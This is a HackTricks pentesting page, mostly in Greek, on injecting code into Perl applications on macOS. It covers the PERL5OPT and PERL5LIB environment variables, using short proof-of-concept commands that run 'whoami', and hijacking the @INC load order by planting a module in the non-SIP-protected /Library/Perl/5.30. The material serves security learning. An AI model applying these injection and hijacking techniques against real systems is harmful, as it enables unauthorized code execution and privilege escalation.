macOS Perl Applications Injection

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Μέσω της μεταβλητής περιβάλλοντος PERL5OPT & PERL5LIB

Χρησιμοποιώντας τη μεταβλητή περιβάλλοντος PERL5OPT είναι δυνατόν να εκτελούνται αυθαίρετες εντολές από το perl. Για παράδειγμα, δημιουργήστε αυτό το σενάριο:

test.pl

#!/usr/bin/perl
print "Hello from the Perl script!\n";

Τώρα εξάγετε τη μεταβλητή env και εκτελέστε το perl σενάριο:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

Μια άλλη επιλογή είναι να δημιουργήσετε ένα module Perl (π.χ. /tmp/pmod.pm):

/tmp/pmod.pm

#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

Και στη συνέχεια χρησιμοποιήστε τις μεταβλητές περιβάλλοντος:

PERL5LIB=/tmp/ PERL5OPT=-Mpmod

Μέσω εξαρτήσεων

Είναι δυνατή η καταγραφή της σειράς φακέλων εξαρτήσεων που εκτελεί το Perl:

perl -e 'print join("\n", @INC)'

Που θα επιστρέψει κάτι σαν:

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

Ορισμένοι από τους επιστρεφόμενους φακέλους δεν υπάρχουν καν, ωστόσο, /Library/Perl/5.30 υπάρχει, δεν είναι προστατευμένος από SIP και είναι πριν από τους φακέλους που προστατεύονται από SIP. Επομένως, κάποιος θα μπορούσε να εκμεταλλευτεί αυτόν τον φάκελο για να προσθέσει εξαρτήσεις σε σενάρια εκεί, έτσι ώστε ένα σενάριο Perl υψηλής προνομιακής πρόσβασης να το φορτώσει.

Ωστόσο, σημειώστε ότι χρειάζεται να είστε root για να γράψετε σε αυτόν τον φάκελο και σήμερα θα λάβετε αυτήν την προτροπή TCC:

Για παράδειγμα, αν ένα σενάριο εισάγει use File::Basename;, θα ήταν δυνατό να δημιουργηθεί το /Library/Perl/5.30/File/Basename.pm για να εκτελεί αυθαίρετο κώδικα.

Αναφορές

• https://www.youtube.com/watch?v=zxZesAN-TEk

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks

• Ελέγξτε τα σχέδια συνδρομής!

• Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.

• Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.